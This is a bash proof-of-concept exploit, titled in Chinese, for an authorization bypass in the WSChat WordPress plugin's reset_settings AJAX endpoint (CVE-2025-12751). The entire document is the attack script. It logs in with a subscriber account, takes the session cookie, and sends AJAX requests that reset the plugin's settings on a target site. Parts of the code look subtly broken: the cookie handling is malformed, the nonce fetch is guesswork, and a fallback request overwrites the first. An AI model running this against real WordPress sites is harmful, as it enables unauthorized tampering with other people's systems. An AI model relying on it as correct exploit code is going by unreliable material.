CVE-2025-12751 WordPress WSChat插件reset_settings端点权限绕过漏洞

#!/bin/bash # CVE-2025-12751 PoC - WSChat Plugin reset_settings AJAX Endpoint Exploitation # Requires a valid WordPress account with Subscriber-level access or higher WP_URL="http://target-wordpress-site.com" USERNAME="subscriber_user" PASSWORD="user_password" # Step 1: Authenticate and get cookie echo "[*] Authenticating as $USERNAME..." COOKIE=$(curl -s -c - -d "log=$USERNAME&pwd=$PASSWORD" "$WP_URL/wp-login.php" | grep wordpress_logged_in | awk '{print $NF}') if [ -z "$COOKIE" ]; then echo "[!] Authentication failed" exit 1 fi # Step 2: Exploit the vulnerability by sending reset_settings AJAX request echo "[*] Sending malicious AJAX request to reset plugin settings..." RESPONSE=$(curl -s -b "wordpress_logged_in_$COOKIE" \ -d "action=wschat_reset_settings&security=$(curl -s $WP_URL/wp-admin/admin-ajax.php?action=wschat_nonce 2>/dev/null | grep -oP 'nonce":"\K[^"]+')" \ "$WP_URL/wp-admin/admin-ajax.php") # Alternative: Direct exploitation without nonce (if nonce check is missing) RESPONSE=$(curl -s -b "wordpress_logged_in_$COOKIE" \ -d "action=reset_settings" \ "$WP_URL/wp-admin/admin-ajax.php") echo "[*] Response: $RESPONSE" echo "[+] Plugin settings should be reset" # Step 3: Verify exploitation success echo "[*] Verifying settings reset..." curl -s "$WP_URL/wp-admin/admin.php?page=wschat-settings" -b "wordpress_logged_in_$COOKIE" | grep -i "reset" && echo "[+] Exploitation successful"